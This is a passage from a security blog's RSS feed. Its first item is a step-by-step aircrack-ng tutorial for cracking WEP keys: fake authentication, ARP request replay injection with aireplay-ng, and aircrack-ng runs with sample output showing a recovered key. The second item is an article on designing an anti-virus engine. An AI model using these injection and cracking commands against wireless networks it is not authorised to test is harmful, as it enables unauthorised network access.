18:22:52  Sending keep-alive packet
# and so on.</pre>
<p>Here is an example of what a failed authentication looks like:
</p>
<pre class="code">8:28:02  Sending Authentication Request
18:28:02  Authentication successful
18:28:02  Sending Association Request
18:28:02  Association successful :-)
18:28:02  Got a deauthentication packet!
18:28:05  Sending Authentication Request
18:28:05  Authentication successful
18:28:05  Sending Association Request
18:28:10  Sending Authentication Request
18:28:10  Authentication successful
18:28:10  Sending Association Request</pre>
<p>Notice the “Got a deauthentication packet” and the continuous retries above.  Do not proceed to the next step until you have the fake authentication running correctly.
</p>
</div>
<h4><a name="troubleshooting_tips" id="troubleshooting_tips">Troubleshooting Tips</a></h4>
<div class="level4">
<ul>
<li class="level1">
<div class="li">Some access points are configured to only allow selected MAC addresses to associate and connect.  If this is the case, you will not be able to successfully do fake authentication unless you know one of the MAC addresses on the allowed list.  If you suspect this is the problem, use the following command while trying to do fake authentication.  Start another session and…</div>
</li>
</ul>
<p>Run: tcpdump -n -vvv -s0 -e -i &lt;interface name&gt; | grep -i -E ”(RA:&lt;MAC address of your card&gt;|Authentication|ssoc)”</p>
<p>
You would then look for error messages.</p>
<ul>
<li class="level1">
<div class="li">If at any time you wish to confirm you are properly associated is to use tcpdump and look at the packets.  Start another session and…</div>
</li>
</ul>
<p>Run: “tcpdump -n -e -s0 -vvv -i ath0”
</p>
<p>Here is a typical tcpdump error message you are looking for:</p>
<pre class="code"> 11:04:34.360700 314us BSSID:00:14:6c:7e:40:80 DA:00:0F:B5:88:AC:82 SA:00:14:6c:7e:40:80   DeAuthentication: Class 3 frame received from nonassociated station</pre>
<p>Notice that the access point (00:14:6c:7e:40:80) is telling the source (00:0F:B5:88:AC:82) you are not associated.  Meaning, the AP will not process or accept the injected packets.
</p>
<p>
If you want to select only the DeAuth packets with tcpdump then you can use: “tcpdump -n -e -s0 -vvv -i ath0 | grep -i DeAuth”.  You may need to tweak the phrase “DeAuth” to pick out the exact packets you want.
</p>
</div>
<h3><a name="step_5_-_start_aireplay-ng_in_arp_request_replay_mode" id="step_5_-_start_aireplay-ng_in_arp_request_replay_mode">Step 5 -  Start aireplay-ng in ARP request replay mode</a></h3>
<div class="level3">
<p>The purpose of this step is to start aireplay-ng in a mode which listens for ARP requests then reinjects them back into the network.   For an explanation of ARP, see this <a href="http://www.pcmag.com/encyclopedia_term/0,2542,t=ARP&amp;i=37988,00.asp" class="urlextern" title="http://www.pcmag.com/encyclopedia_term/0,2542,t=ARP&amp;i=37988,00.asp"  rel="nofollow">PC Magazine page</a> or <a href="http://en.wikipedia.org/wiki/Address_Resolution_Protocol" class="urlextern" title="http://en.wikipedia.org/wiki/Address_Resolution_Protocol"  rel="nofollow">Wikipedia</a>.  The reason we select ARP request packets is because the AP will normally rebroadcast them and generate a new IV.  Again, this is our objective, to obtain a large number of IVs in a short period of time.
</p>
<p>
Open another console session and enter:</p>
<pre class="code"> aireplay-ng -3 -b 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 ath0</pre>
<p>It will start listening for ARP requests and when it hears one, aireplay-ng will immediately start to inject it.  On your home network, here is an easy way to generate an ARP request:  On a wired PC, ping a non-existent IP on your home LAN.
</p>
<p>
Here is what the screen looks like when ARP requests are being injected:</p>
<pre class="code"> Saving ARP requests in replay_arp-0321-191525.cap
 You should also start airodump-ng to capture replies.
 Read 629399 packets (got 316283 ARP requests), sent 210955 packets...</pre>
<p>You can confirm that you are injecting by checking your airodump-ng screen.  The data packets should be increasing rapidly.  The ”#/s” should be a decent number.  However, decent depends on a large variety of factors.  A typical range is 300 to 400 data packets per second.  It can as low as a 100/second and as high as a 500/second.
</p>
</div>
<h4><a name="troubleshooting_tips1" id="troubleshooting_tips1">Troubleshooting Tips</a></h4>
<div class="level4">
<ul>
<li class="level1">
<div class="li"> If you receive a message similar to “Got a deauth/disassoc packet. Is the source mac associated?”, this means you have lost association with the AP.  All your injected packets will be ignored.  You must return to the fake authentication step (Step 3) and successfully associate with the AP.</div>
</li>
</ul>
</div>
<h3><a name="step_6_-_run_aircrack-ng_to_obtain_the_wep_key" id="step_6_-_run_aircrack-ng_to_obtain_the_wep_key">Step 6 - Run aircrack-ng to obtain the WEP key</a></h3>
<div class="level3">
<p>The purpose of this step is to obtain the WEP key from the IVs gathered in the previous steps.
</p>
<p>
Note: For learning purposes, you should use a 64 bit WEP key on your AP to speed up the cracking process.  If this is the case, then you can include ”-n 64” to limit the checking of keys to 64 bits.
</p>
<p>
Two methods will be shown.  It is recommended you try both for learning purposes.  By trying both methods, you will see quickly the PTW method successfully determines the WEP key compared to the FMS/Korek method.  As a reminder, the PTW method only works successfully with arp request/reply packets.  Since this tutorial covers injection arp request packets, you can properly use this method.  The other requirement is that you capture the full packet with airodump-ng.  Meaning, do not use the ”-<code></code>-ivs” option.</p>
<p>
Start another console session and enter:</p>
<pre class="code"> aircrack-ng -z -b 00:14:6C:7E:40:80 output*.cap</pre>
<p>Where:
</p>
<ul>
<li class="level1">
<div class="li"> -z invokes the PTW WEP-cracking method.</div>
</li>
<li class="level1">
<div class="li"> -b 00:14:6C:7E:40:80 selects the one access point we are interested in.  This is optional since when we originally captured the data, we applied a filter to only capture data for this one AP.</div>
</li>
<li class="level1">
<div class="li"> output*.cap selects all files starting with “output” and ending in ”.cap”.</div>
</li>
</ul>
<p>To also use the FMS/KoreK method, start another console session and enter:</p>
<pre class="code"> aircrack-ng -b 00:14:6C:7E:40:80 output*.cap</pre>
<p>Where:
</p>
<ul>
<li class="level1">
<div class="li"> -b 00:14:6C:7E:40:80 selects the one access point we are interested in.  This is optional since when we originally captured the data, we applied a filter to only capture data for this one AP.</div>
</li>
<li class="level1">
<div class="li"> output*.cap selects all files starting with “output” and ending in ”.cap”.</div>
</li>
</ul>
<p>If you are using 1.0-rc1, add the option ”-K” for the FMS/KoreK attack. (1.0-rc1 defaults to PTW.)
</p>
<p>
You can run this while generating packets.  In a short time, the WEP key will be calculated and presented.  You will need approximately 250,000 IVs for 64 bit and 1,500,000 IVs for 128 bit keys.  If you are using the PTW attack, then you will need about 20,000 packets for 64-bit and 40,000 to 85,000 packets for 128 bit. These are very approximate and there are many variables as to how many IVs you actually need to crack the WEP key.
</p>
<p>
Here is what success looks like:</p>
<pre class="code">                                              Aircrack-ng 0.9

                              [00:03:06] Tested 674449 keys (got 96610 IVs)

 KB    depth   byte(vote)
  0    0/  9   12(  15) F9(  15) 47(  12) F7(  12) FE(  12) 1B(   5) 77(   5) A5(   3) F6(   3) 03(   0)
  1    0/  8   34(  61) E8(  27) E0(  24) 06(  18) 3B(  16) 4E(  15) E1(  15) 2D(  13) 89(  12) E4(  12)
  2    0/  2   56(  87) A6(  63) 15(  17) 02(  15) 6B(  15) E0(  15) AB(  13) 0E(  10) 17(  10) 27(  10)
  3    1/  5   78(  43) 1A(  20) 9B(  20) 4B(  17) 4A(  16) 2B(  15) 4D(  15) 58(  15) 6A(  15) 7C(  15) 

                       KEY FOUND! [ 12:34:56:78:90 ]
      Probability: 100%</pre>
<p>Notice that in this case it took far less then the estimated 250,000 IVs to crack the key. (For this example, the FMS/KoreK attack was used.)
</p>
<p>Original article on http://www.aircrack-ng.org/doku.php?id=simple_wep_crack</p>
<p>Version: 1.10 September 26, 2009</p>
]]></content:encoded>
			<wfw:commentRss>http://www.megapanzer.com/2009/10/14/how-to-crack-wep/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Building an Anti-Virus engine</title>
		<link>http://www.megapanzer.com/2009/10/09/building-an-anti-virus-engine/</link>
		<comments>http://www.megapanzer.com/2009/10/09/building-an-anti-virus-engine/#comments</comments>
		<pubDate>Fri, 09 Oct 2009 19:10:32 +0000</pubDate>
		<dc:creator>carrumba</dc:creator>
				<category><![CDATA[Antivirus]]></category>
		<category><![CDATA[Reading material]]></category>
		<category><![CDATA[engine]]></category>

		<guid isPermaLink="false">http://www.megapanzer.com/?p=2959</guid>
		<description><![CDATA[An article that describes in simple steps how an AV engine is structured. Easy to understand, not too technical and without any code. Building an Anti-Virus engine (by Markus Schmall, 2002) The article will describe the basic ideas, concepts, components and approaches involved in developing an anti-virus program from scratch from a developer&#8217;s/software engineer&#8217;s point [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://www.megapanzer.com/wp-content/uploads/books-150x150.jpg" alt="books" title="books" width="75" height="75" class="alignright size-thumbnail wp-image-2238" /><em>An article that describes in simple steps how an AV engine is structured. Easy to understand, not too technical and without any code.</em></p>
<p></p>
<p><strong>Building an Anti-Virus engine (by Markus Schmall, 2002)</strong></p>
<p>
The article will describe the basic ideas, concepts, components and approaches involved in developing an anti-virus program from scratch from a developer&#8217;s/software engineer&#8217;s point of view. It will focus on the main elements of an anti-virus engine (hereafter referred to as AV engine) and will exclude aspects like graphical user interfaces, real-time monitors, file system drivers and plug-ins for certain application software like Microsoft Exchange or Microsoft Office. Although AV engines running/scanning for single platforms (such as Palm OS or EPOC/Symbian OS) can be designed in the same way, this article will focus on designing multi-platform scanning engines, which are far more complex.
</p>
<p><span id="more-2959"></span><br />
<b><br />
Overview<br />
</b></p>
<p>
Currently, innovations in AV engines consist primarily of minor changes to existing engines. Complete redesigns of overall engine concepts are rarely seen. One exception is the highly respected Kaspersky AntiVirus (AVP) version 4.0</a>, which was released in early 2002. </p>
<p>
The main parts of an AV engine are typically compiled based on the same source code for various platforms, which may have differences in the byte order (little/big endian), CPUs and general requirements on aligned code. All of these considerations must be kept in mind when developing the concept of an AV engine, as the platform on which the engine is designed to run will be a central design consideration.  As well, when developing a new AV engine from the ground up, the following consideration or requirements must be considered:</p>
<ul>
<span></p>
<li>Targeted platforms
</li>
<li>Programming language
</li>
<li>File access
</li>
<li>Required modularity.
</li>
<p></span>
</ul>
<p>
<b><br />
Targeted Platforms<br />
</b></p>
<p>
A lot of platforms execute code faster when the data parts are aligned to long word (32 bit) addresses. Other platforms are not able to access 16bit/32 bit values, which are not on even addresses; for example, older Motorola CPUs like MC68020 had this limitation. The choice of programming language depends directly on the platform or platforms of implementation. Generally an AV engine should be developed in a programming language that is available for all platforms. Optimizing compilers for all platforms are available. Typical AV engines are currently developed using the programming languages C or C++. C++ is considered the more modern language but, being based on the object orientated approach, it is typically bigger and slightly slower than C code. As certain data types will be interpreted differently on different platforms (for example, as determined by. long or integer variables), it is also very helpful to define data types based on standard data types, which are the same on all supported platforms.</p>
<p>
<b><br />
File Access</p>
<p></b></p>
<p>
To enable the core AV engine to be independent from the surrounding operating system, there must to be an abstraction layer between the core AV engine and the file system, which layer has to include conditional compilation for dedicated platforms. Another straightforward technique is to compile certain parts of the AV engine only for dedicated operating systems and not to use a file system layer at all. While this way approach results in faster programmed results, for the long term, it turns out to be neither easily maintainable nor expandable. An abstraction layer, comparable to the file system abstraction layer, should be also implemented for the memory interface and the graphical user interface, so that the core scan engine always has to call the same API calls to allocate memory, generate message boxes etc.</p>
<p>
<b><br />
Modularity<br />
</b></p>
<p>
Modularity is an important consideration in modern software development.  Obviously, it is advantageous to create clean interfaces and make all program parts modular. By designing the overall AV engine with modularity in mind, single parts can be replaced later against a more powerful module by keeping the functionality the same. (This aspect will be covered in the discussion of on-line update functionalities later in this paper.) For corporate customers, it is especially important to offer a flexible management console/interface. This part obviously does not belong to the AV engine core, but should be kept in mind when designing overall interfaces, engine modules and communication matrixes. Speaking of modularity, it is also a good idea to divide the parts of the core AV engine into components, whereby the separation in a binary virus engine and a macro/script engine can be seen as a high level approach.</p>
<p class=title>
<b><br />
Pragmatic Functions<br />
</b></p>
<p>
Now that some of the conceptual aspects of the AV engine design have been discussed, it would be helpful to consider some of the pragmatic functions that must be incorporated into the design of an AV engine. The following components or functions must all be taken into account in the development of a  &#8220;modern&#8221; AV engine:</p>
<ul>
<span></p>
<li>Engine core
</li>
<li>File system layer
</li>
<li>File type scanners (rtf, ppt, mz, pe, etc.)
</li>
<li>Memory scanners
</li>
<li>File Decompression (e.g. ZIP archives, UPX compressed executables)
</li>
<li>Code emulators (e.g. Win32)
</li>
<li>Heuristic engines
</li>
<li>Update mechanisms.
</li>
<p></span>
</ul>
<p>
<b><br />
AV Engine Core<br />
</b></p>
<p>
The AV engine core can be seen as a straightforward framework that calls &#8220;external&#8221; scan modules and therefore can be expected to be the necessary &#8220;glue&#8221;. As a result, it needs to be designed as a &#8220;registration&#8221; mechanism, so that additional components, such as a scanner for a new file format, can be registered and updated. This mechanism needs to be protected by digital certificates or similar mechanisms. Currently, there are scan engine frameworks, such as the Exchange virus protection, that offer to use between one and five different scan engines from different vendors, which will be directly called out of the framework. For example, besides their own scan technologies, <a target=nonlocal href=http://www.f-secure.com>F-Secure</a> utilizes several solutions in their AV products, including F-Prot and AVP scan engines. </p>
<p>
<b><br />
File System Layer<br />
</b></p>
<p>
As mentioned in the previous section, it is a good idea to implement a file system layer so that all parts of the AV engine can invoke the same API calls on all platforms. The following functionalities (close to the Ansi-C standard) should be supported to enable easy access to files:</p>
<ul>
<span></p>
<li>open(filename)
</li>
<li>close(filehandle)
</li>
<li>read(file handler, buffer, length, number of read bytes)
</li>
<li>write(file handler, buffer, length, number of written bytes)
</li>
<li>seek(offset, optional fields)
</li>
<li>find first(handle)
</li>
<li>find next(handle)
</li>
<p></span>
</ul>
<p>
In case a seek() functionality is not intended to be supported as an API call, the read/write functionality needs to be enhanced by adding a &#8220;file offset&#8221; field. The general &#8220;find first/find next&#8221; file functionality will typically only be used within the core AV engine, as this core part then passes the file pointer-like structure to the &#8220;external&#8221; scan modules for further operations. </p>
<p>
<b><br />
File Type Scan<br />
</b></p>
<p>
In regards to the program progression, one of the first steps is to identify the file type/archive type. For the time being, let&#8217;s call this point within the engine the &#8220;entry point&#8221;. This can be handled from the core AV engine or from a dedicated function call within every scanner module for a dedicated file format/type. In order to enable easy change/adaptation of a new scanner module, the latter method is preferred.</p>
<p>
Typically, this file type check can be performed rather quickly (e.g. for Windows PE files, OLE documents etc.). In dedicated cases like PalmOS PRC files the detection is more complex and, again, should not be placed within the core AV engine. If a compressed file is detected, decompression engine/functionality, which shall be discussed in greater detail later in this article, has to be called. More generally speaking, decompression engines can also be seen as some kind of a scanner module, which necessarily has to call back to the AV engine&#8217;s entry point.</p>
<p>
After the file type has been determined, the corresponding scanner module has to be called to perform the scan routine itself. Every module should have the ability to call back to the entry point of the AV engine. This may be required in the case of scanning embedded files within other files (for example, a Word document embedded within a PowerPoint presentation). Depending on the result of the scan, the AV engine must be able to interact with the user interface via a generic abstraction layer to show certain warnings, requests, etc.</p>
<p>
At this point it makes sense to define what functionalities should exist within every scanner module:</p>
<ul>
<span></p>
<li>file type detection code, which checks whether the given input can be handled by the scan module;
</li>
<li>scan functionality (which should be able to interact with the GUI elements to show requesters etc.); and,
</li>
<li>removal functionality (e.g. remove link viruses from infected files or delete files completely).
</li>
<p></span>
</ul>
<p>
The idea is to keep the interface as small and clean as possible. The scan modules should not rely on any buffers located in the core AV engine. Furthermore, the core scan module should just see file/memory pointers and work with these pointers. All underlying operations/layers should be fully transparent for the scan module.</p>
<p>
<b><br />
Removal Functionality</p>
<p></b></p>
<p>
In the case of removal functionality, it is often necessary to remove registry entries in order to disable the activation of certain malicious code. This functionality, which is obviously heavily dependent on the underlying platform, should be programmed using direct operating system functions, and should be compiled only when needed. At this point it makes no sense to implement an abstraction layer.</p>
<p>
<b><br />
Memory Scanning Components<br />
</b></p>
<p>
The memory scanning components (e.g. memory scanner for Windows 95/98 IFS-based malicious codes) can be placed within the same category as the registry cleaning functionalities described above. It should be noted that the memory scanning components are often not within the main focus of the development of the AV engine. </p>
<p>
<b><br />
Decompression<br />
</b></p>
<p>
The decompression functionality within AV engines is often seen as a small task, but it is truly a complex program. On the one hand, archives, like .zip, .tar, etc., and exchange formats, such as mime, uuencode etc., are decompressed recursively and without the need for external decompression programs. On the other hand, executable files should be able to be decompressed. Speaking of decompression of archives/exchange formats, it seems to be a good approach to decompress all files within a predefined directory and perform recursive decompression operations, if necessary. In the past we have seen a couple of attacks (see [42]) against decompression modules, that decompressed the embedded files within memory and the system was running out of memory. The file located at [42] is a .zip archive with a total length of 42 kb. Recursively unpacked, the files archived within this file are far more than 100 MB, so that an &#8220;in memory&#8221; decompression would obviously decrease performance drastically. </p>
<p>
Additionally it should be possible to compress the files into archives again to enable meaningful cleaning operations. The decompression operation, therefore, also needs access to the generic file system layer to store/access decompressed files.</p>
<p>
Speaking of compressed executable files (e.g. compressed with UPX), a similar approach is possible. The decompressed file can be saved in a predefined directory and then scanned. Another typical approach is to decompress the entire file into memory and pass back the pointer and length of the file to the calling instance. The file system layer would have then to be able to address a memory range also as a file. </p>
<p>
Finally, it should be noted that encrypted files/archives are still a major problem for decompression engines and therefore also for AV engines. Nearly all archive tools offer the possibility to encrypt the content.</p>
<p class=title>
<b><br />
Detection Engines and Techniques<br />
</b></p>
<p>
Right now it is worth taking a look at detection engines and techniques beside heuristic engines. </p>
<p>
Nearly every modern AV engine contains checksum-based engines (often straight forward CRC32) and scan string-based engines. In addition to these basic techniques, script-based interpreters can often also be found in engines. By implementing these interpreters with complex instruction sets, it is possible to write detection/removal routines even for highly complex polymorphic viruses, and often without the need to change the engine/program detection code in C/C++. Obviously, these interpreters need access to emulators, memory layers and file system layers to become as powerful as possible. The interpreters typically work with precompiled code (pcode) located in the data/definition files.   </p>
<p>
<b><br />
Designing the On-Line Update<br />
</b></p>
<p>
The core points of AV engine architecture have now been discussed. Another point to consider is the design of the &#8220;on-line update&#8221; functionality that allows users to update their AV protection. Basically there are two choices of update functionality: update data files or update data files and update executable code.</p>
<p>
Generally speaking, all updates should be digitally signed to protect the users from installing malicious updates. It is not critical to implement this in the data file updates. Sending out only updated from previously installed versions, instead of complete update files, will keep network traffic low and, as such, is an attractive feature for users in corporate environments.  To update executable code using on-line functionality is usually a more complex operation. This approach typically replaces complete modules of an AV scanner. Therefore the AV engine needs to have the functionality to register, remove, update and add modules of its own. This interface obviously needs to be protected (for example, by digital certificates), otherwise malicious codes could start to attack this registration interface and disable certain important functionality.</p>
<p>
<b><br />
Conclusion<br />
</b></p>
<p>
At this point it is clear that the development of a complete AV engine for a platform like Windows is an extremely complex task, one that needs to be undertaken by a group of developers.  To keep an AV engine stable and maintainable over a long time is a difficult job that requires a lot of investment of money and experience in software engineering. Therefore it is not likely that the selection of independent AV solutions will increase significantly within the next years. This is unfortunate because the technical requirements on AV engines continue to grow and a greater variety of possible solutions can only help AV developers and AV users.</p>
<p></p>
]]></content:encoded>
			<wfw:commentRss>http://www.megapanzer.com/2009/10/09/building-an-anti-virus-engine/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>

